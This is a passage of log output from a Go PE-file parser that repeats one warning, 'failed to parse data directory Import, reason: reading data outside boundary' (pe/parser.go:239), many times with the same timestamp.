reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 